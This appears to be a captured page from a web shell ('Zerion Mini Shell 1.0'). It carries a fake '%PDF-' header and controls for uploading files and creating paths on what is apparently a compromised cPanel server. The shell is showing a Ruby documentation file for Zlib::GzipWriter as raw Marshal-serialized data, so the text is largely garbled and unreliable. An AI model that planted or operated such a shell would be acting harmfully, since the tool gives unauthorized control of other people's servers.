%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Zlib/GzipWriter/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Zlib/GzipWriter/cdesc-GzipWriter.ri

U:RDoc::NormalClass[iI"GzipWriter:ETI"Zlib::GzipWriter;TI"Zlib::GzipFile;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[I"OZlib::GzipWriter is a class for writing gzipped files.  GzipWriter should ;TI"8be used with an instance of IO, or IO-like, object.;To:RDoc::Markup::BlankLineo;	;[I"4Following two example generate the same result.;T@o:RDoc::Markup::Verbatim;[I".Zlib::GzipWriter.open('hoge.gz') do |gz|
;TI"5  gz.write 'jugemu jugemu gokou no surikire...'
;TI"	end
;TI"
;TI"&File.open('hoge.gz', 'w') do |f|
;TI"$  gz = Zlib::GzipWriter.new(f)
;TI"5  gz.write 'jugemu jugemu gokou no surikire...'
;TI"  gz.close
;TI"	end
;T:@format0o;	;[I".To make like gzip(1) does, run following:;T@o;;[I"orig = 'hoge.txt'
;TI".Zlib::GzipWriter.open('hoge.gz') do |gz|
;TI"#  gz.mtime = File.mtime(orig)
;TI"  gz.orig_name = orig
;TI"!  gz.write IO.binread(orig)
;TI"	end
;T;0o;	;[	I"PNOTE: Due to the limitation of Ruby's finalizer, you must explicitly close ;TI"NGzipWriter objects by Zlib::GzipWriter#close etc.  Otherwise, GzipWriter ;TI"Owill be not able to write the gzip footer and will generate a broken gzip ;TI"
file.;T:
@fileI"ext/zlib/zlib.c;T:0@omit_headings_from_table_of_contents_below0;
0;0[[[[[I"
class;T[[:public[[I"new;TI"ext/zlib/zlib.c;T[I"	open;T@>[:protected[[:private[[I"
instance;T[[;[[I"<<;T@>[I"
comment=;T@>[I"
flush;T@>[I"mtime=;T@>[I"orig_name=;T@>[I"pos;T@>[I"
print;T@>[I"printf;T@>[I"	putc;T@>[I"	puts;T@>[I"	tell;T@>[I"
write;T@>[;[[;[[[U:RDoc::Context::Section[i0o;;[;
0;0[@2I"	Zlib;TcRDoc::NormalModule

Zerion Mini Shell 1.0